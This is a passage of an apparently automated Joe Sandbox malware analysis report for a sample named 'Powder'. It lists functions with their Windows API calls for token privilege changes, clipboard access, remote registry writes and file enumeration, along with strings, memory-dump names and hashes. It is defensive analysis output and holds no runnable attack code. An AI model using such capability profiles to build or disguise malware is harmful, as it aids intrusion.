Instruction Fuzzy Hash: B4F082322102105FCB14FF59D844B59B7E5AF44724F058419F9058B351CB70BC02DB94

Function 00C942CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00CC2F8B), ref: 00C942EF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2825ca309f330c913579a6992e8d8e99c6e40332931f27204102c4094c4b1125
Instruction ID: 1a437f34293589a421144dd41dc37ef7908201af5c8b4ba3cd21d2461c196385
Opcode Fuzzy Hash: 2825ca309f330c913579a6992e8d8e99c6e40332931f27204102c4094c4b1125
Instruction Fuzzy Hash: 19E0B675404B01DFC7354F1AE808852FBF4FFE13713214A2EE0E692660E7B0599ACB50

Non-executed Functions

Function 00D0D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00D0D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D0D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00D0D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D0D2B8
SendMessageW.USER32 ref: 00D0D2E1
_wcsncpy.LIBCMT ref: 00D0D359
GetKeyState.USER32(00000011), ref: 00D0D37A
GetKeyState.USER32(00000009), ref: 00D0D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D0D39D
GetKeyState.USER32(00000010), ref: 00D0D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D0D3D0
SendMessageW.USER32 ref: 00D0D3F7
SendMessageW.USER32(?,00001030,?,00D0B9BA), ref: 00D0D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00D0D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00D0D526
SetCapture.USER32(?), ref: 00D0D52F
ClientToScreen.USER32(?,?), ref: 00D0D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00D0D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D0D5BB
ReleaseCapture.USER32 ref: 00D0D5C6
GetCursorPos.USER32(?), ref: 00D0D600
ScreenToClient.USER32(?,?), ref: 00D0D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D0D669
SendMessageW.USER32 ref: 00D0D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D0D6D4
SendMessageW.USER32 ref: 00D0D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00D0D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00D0D733
GetCursorPos.USER32(?), ref: 00D0D753
ScreenToClient.USER32(?,?), ref: 00D0D760
GetParent.USER32(?), ref: 00D0D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D0D7E9
SendMessageW.USER32 ref: 00D0D81A
ClientToScreen.USER32(?,?), ref: 00D0D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00D0D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D0D8D2
SendMessageW.USER32 ref: 00D0D8F5
ClientToScreen.USER32(?,?), ref: 00D0D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00D0D97B

Part of subcall function 00C829AB: GetWindowLongW.USER32(?,000000EB), ref: 00C829BC

GetWindowLongW.USER32(?,000000F0), ref: 00D0DA17

Strings

@GUI_DRAGID, xrefs: 00D0D562
F, xrefs: 00D0D8FB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: ea8d590d3c95b8e3bb3a1d04756ff212388283efd8f55eebb8eb9cf1a3d6db5a
Instruction ID: bfcf1b2a023677c612016a8b7e89183cf53119a111d28a18ae30cef4932bdd0c
Opcode Fuzzy Hash: ea8d590d3c95b8e3bb3a1d04756ff212388283efd8f55eebb8eb9cf1a3d6db5a
Instruction Fuzzy Hash: 65429F34204341AFD724DF64C848BAABBE6FF49314F18451AF699872E1CB71D855CB72

Function 00CD8F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00CD9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD93E3
Part of subcall function 00CD9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD9410
Part of subcall function 00CD9399: GetLastError.KERNEL32 ref: 00CD941D

_memset.LIBCMT ref: 00CD8F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00CD8FC3
CloseHandle.KERNEL32(?), ref: 00CD8FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00CD8FEB
GetProcessWindowStation.USER32 ref: 00CD9004
SetProcessWindowStation.USER32(00000000), ref: 00CD900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00CD9028

Part of subcall function 00CD8DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CD8F27), ref: 00CD8DFE
Part of subcall function 00CD8DE9: CloseHandle.KERNEL32(?,?,00CD8F27), ref: 00CD8E10

Strings

default, xrefs: 00CD9023
, xrefs: 00CD8F80
winsta0, xrefs: 00CD8FE6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 93f703e22944fe385552e2f1e4633bc555f1a3ffef3220d6709b95518d71a5f5
Instruction ID: 99448f4202a43cc443ddcca3957b361d93985c11a622ff0b2582abef9fb8c1c2
Opcode Fuzzy Hash: 93f703e22944fe385552e2f1e4633bc555f1a3ffef3220d6709b95518d71a5f5
Instruction Fuzzy Hash: 8A813A7590020ABFDF11EFA4CC49AEE7B79FF04314F04815AFA24A63A1DB718A55DB60

Function 00CF4632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00D10980), ref: 00CF465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00CF466A
GetClipboardData.USER32(0000000D), ref: 00CF4672
CloseClipboard.USER32 ref: 00CF467E
GlobalLock.KERNEL32(00000000), ref: 00CF469A
CloseClipboard.USER32 ref: 00CF46A4
GlobalUnlock.KERNEL32(00000000), ref: 00CF46B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00CF46C6
GetClipboardData.USER32(00000001), ref: 00CF46CE
GlobalLock.KERNEL32(00000000), ref: 00CF46DB
GlobalUnlock.KERNEL32(00000000), ref: 00CF470F
CloseClipboard.USER32 ref: 00CF481F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: ac583bf570c051a0ab1610e0c5af813dd969fc44e7b0b791c97cf4083511d033
Instruction ID: 23ca1d8d57da6bd7ca0ac40546f18c7f3e2140614822ab871a3cf1f1065f9c3e
Opcode Fuzzy Hash: ac583bf570c051a0ab1610e0c5af813dd969fc44e7b0b791c97cf4083511d033
Instruction Fuzzy Hash: EE519E31244306ABD704FF60DC8ABBF7BA8AB84B40F044529F655D22E1DFB0D9459B66

Function 00CECD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00CECDD0
FindClose.KERNEL32(00000000), ref: 00CECE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CECE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CECE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CECE87
__swprintf.LIBCMT ref: 00CECED3
__swprintf.LIBCMT ref: 00CECF16

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

__swprintf.LIBCMT ref: 00CECF6A

Part of subcall function 00CA38C8: __woutput_l.LIBCMT ref: 00CA3921

__swprintf.LIBCMT ref: 00CECFB8

Part of subcall function 00CA38C8: __flsbuf.LIBCMT ref: 00CA3943
Part of subcall function 00CA38C8: __flsbuf.LIBCMT ref: 00CA395B

__swprintf.LIBCMT ref: 00CED007
__swprintf.LIBCMT ref: 00CED056
__swprintf.LIBCMT ref: 00CED0A5

Strings

%4d, xrefs: 00CECF10
%4d%02d%02d%02d%02d%02d, xrefs: 00CECECD
%02d, xrefs: 00CECF5E, 00CECF68, 00CECFB6, 00CED005, 00CED054, 00CED0A3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 1efe23225b9ac97ecd0c84531f255be6da04a20cbd1881828303b866df928a8b
Instruction ID: cfb17e5e653ce1d55daa242d9f1ef5a1813220c5519c7d3677673c520f23d208
Opcode Fuzzy Hash: 1efe23225b9ac97ecd0c84531f255be6da04a20cbd1881828303b866df928a8b
Instruction Fuzzy Hash: CAA14DB1404345ABC714FBA4C896DAFB7ECEF94704F40091AF595C3291EB74EA09DB62

Function 00CEF5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00CEF5F9
_wcscmp.LIBCMT ref: 00CEF60E
_wcscmp.LIBCMT ref: 00CEF625
GetFileAttributesW.KERNEL32(?), ref: 00CEF637
SetFileAttributesW.KERNEL32(?,?), ref: 00CEF651
FindNextFileW.KERNEL32(00000000,?), ref: 00CEF669
FindClose.KERNEL32(00000000), ref: 00CEF674
FindFirstFileW.KERNEL32(*.*,?), ref: 00CEF690
_wcscmp.LIBCMT ref: 00CEF6B7
_wcscmp.LIBCMT ref: 00CEF6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEF6E0
SetCurrentDirectoryW.KERNEL32(00D3B578), ref: 00CEF6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CEF708
FindClose.KERNEL32(00000000), ref: 00CEF715
FindClose.KERNEL32(00000000), ref: 00CEF727

Strings

*.*, xrefs: 00CEF68B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 35608dc762fc24afbc849a68fbeb284cc11b91bcb77935e46d3cf40e298719a7
Instruction ID: 2f667e66c0fc04c5e37d83bcf58dcf2bba6ab90dc64d63e5f7eec716e018990f
Opcode Fuzzy Hash: 35608dc762fc24afbc849a68fbeb284cc11b91bcb77935e46d3cf40e298719a7
Instruction Fuzzy Hash: E031D272641259BFDB10ABB5EC4DADE77ACAF09321F104169F814D21A0DF70CA86CA74

Function 00D00EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00D10980,00000000,?,00000000,?,?), ref: 00D01021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00D01069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00D010F2
RegCloseKey.ADVAPI32(?), ref: 00D01412
RegCloseKey.ADVAPI32(00000000), ref: 00D0141F

Strings

REG_DWORD, xrefs: 00D012E3
REG_MULTI_SZ, xrefs: 00D011DA
REG_QWORD, xrefs: 00D01360
REG_EXPAND_SZ, xrefs: 00D0108F
REG_SZ, xrefs: 00D01130
REG_BINARY, xrefs: 00D013AD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 3344bfce83ff80f4a6a6de7271536672e6746c153898ee8ad27fa1fe9c5550c6
Instruction ID: 779fc9329c8c05e24b9e834948880a376eebabb5646f25dc18387de38a9230f3
Opcode Fuzzy Hash: 3344bfce83ff80f4a6a6de7271536672e6746c153898ee8ad27fa1fe9c5550c6
Instruction Fuzzy Hash: E1028D752006029FCB14EF24C855E2AB7E5FF89718F04895DF98A9B3A2DB30EC41DB95

Function 00CEF735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00CEF756
_wcscmp.LIBCMT ref: 00CEF76B
_wcscmp.LIBCMT ref: 00CEF782

Part of subcall function 00CE4875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00CE4890

FindNextFileW.KERNEL32(00000000,?), ref: 00CEF7B1
FindClose.KERNEL32(00000000), ref: 00CEF7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00CEF7D8
_wcscmp.LIBCMT ref: 00CEF7FF
_wcscmp.LIBCMT ref: 00CEF816
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEF828
SetCurrentDirectoryW.KERNEL32(00D3B578), ref: 00CEF846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CEF850
FindClose.KERNEL32(00000000), ref: 00CEF85D
FindClose.KERNEL32(00000000), ref: 00CEF86F

Strings

*.*, xrefs: 00CEF7D3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 538bfe4c6b3a4f672410feefe7a8ce6a62912798514dbdd551e1497526f9d7d4
Instruction ID: f4cf229a0ae635d950e5b849134ad3b9df1463a1decf126a2ce723897610954d
Opcode Fuzzy Hash: 538bfe4c6b3a4f672410feefe7a8ce6a62912798514dbdd551e1497526f9d7d4
Instruction Fuzzy Hash: 6E31D87150039A7EDB20ABB6DC49ADE776CDF0A324F104169F814E21E0DB70CF86DA64

Function 00CD88CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8E3C
Part of subcall function 00CD8E20: GetLastError.KERNEL32(?,00CD8900,?,?,?), ref: 00CD8E46
Part of subcall function 00CD8E20: GetProcessHeap.KERNEL32(00000008,?,?,00CD8900,?,?,?), ref: 00CD8E55
Part of subcall function 00CD8E20: HeapAlloc.KERNEL32(00000000,?,00CD8900,?,?,?), ref: 00CD8E5C
Part of subcall function 00CD8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD8E73

Part of subcall function 00CD8EBD: GetProcessHeap.KERNEL32(00000008,00CD8916,00000000,00000000,?,00CD8916,?), ref: 00CD8EC9
Part of subcall function 00CD8EBD: HeapAlloc.KERNEL32(00000000,?,00CD8916,?), ref: 00CD8ED0
Part of subcall function 00CD8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CD8916,?), ref: 00CD8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CD8931
_memset.LIBCMT ref: 00CD8946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CD8965
GetLengthSid.ADVAPI32(?), ref: 00CD8976
GetAce.ADVAPI32(?,00000000,?), ref: 00CD89B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CD89CF
GetLengthSid.ADVAPI32(?), ref: 00CD89EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CD89FB
HeapAlloc.KERNEL32(00000000), ref: 00CD8A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CD8A23
CopySid.ADVAPI32(00000000), ref: 00CD8A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CD8A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CD8A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CD8A95

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 275ad1a90492e624e085b9f4f85151f07cc5e658534a1fa443e49378d9353bf7
Instruction ID: cf26b3455765f68f78b405f8dd6834336534283892affdca81988e33fb74b7c4
Opcode Fuzzy Hash: 275ad1a90492e624e085b9f4f85151f07cc5e658534a1fa443e49378d9353bf7
Instruction Fuzzy Hash: 23611875900209BFDF00DFA5DC85AEEBB79BF44304F04812AEA25E6390DB759A49DB60

Function 00D00A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D0040D,?,?), ref: 00D01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00B0C

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00D00BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00D00C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00D00E82
RegCloseKey.ADVAPI32(00000000), ref: 00D00E8F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 742889e22d1dcdc7914992c0fc6f18242d9778076132b349a2cfcb32d9279d87
Instruction ID: 1be808a6c6f92e08356e7f027f4476741726808feb9968a251179c60a706fe72
Opcode Fuzzy Hash: 742889e22d1dcdc7914992c0fc6f18242d9778076132b349a2cfcb32d9279d87
Instruction Fuzzy Hash: ADE15D71204211AFCB14EF25C895F6ABBE9EF89714F04896DF849DB2A1DB30ED01DB61

Function 00CE443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00CE4451
__swprintf.LIBCMT ref: 00CE445E

Part of subcall function 00CA38C8: __woutput_l.LIBCMT ref: 00CA3921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00CE4488
LoadResource.KERNEL32(?,00000000), ref: 00CE4494
LockResource.KERNEL32(00000000), ref: 00CE44A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00CE44C1
LoadResource.KERNEL32(?,00000000), ref: 00CE44D3
SizeofResource.KERNEL32(?,00000000), ref: 00CE44E2
LockResource.KERNEL32(?), ref: 00CE44EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00CE454F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 3273df53b96158bf824ab89bfa040bcd5bfc56ead3b8b52dc0a9dc1554603d47
Instruction ID: 13df2e09c260a074dd8ff9a298b0bef28a05d68c3d340884b4653acb906664f8
Opcode Fuzzy Hash: 3273df53b96158bf824ab89bfa040bcd5bfc56ead3b8b52dc0a9dc1554603d47
Instruction Fuzzy Hash: F031D07160139ABBCB15AFA2EC48ABF7BADEF09340F008425F911DA250DB74DA51DB74

Function 00CF4830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00CF4857
EmptyClipboard.USER32 ref: 00CF485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00CF4872
CloseClipboard.USER32 ref: 00CF4911

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 0f682daa8f25b43d83aebb7be3b3a3196fda6a855b18b4a170aad48c9a548bb4
Instruction ID: 130a06e0cbac91a2fb70c1f0021eb845ee39f995fd66136f34074e3c57996098
Opcode Fuzzy Hash: 0f682daa8f25b43d83aebb7be3b3a3196fda6a855b18b4a170aad48c9a548bb4
Instruction Fuzzy Hash: 50219131201315AFDB05BF60EC49B6E7BA8EF84711F018015FA05DB3A1DFB0AD418BA9

Function 00CEFA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00CEFA83
FindClose.KERNEL32(00000000), ref: 00CEFB96

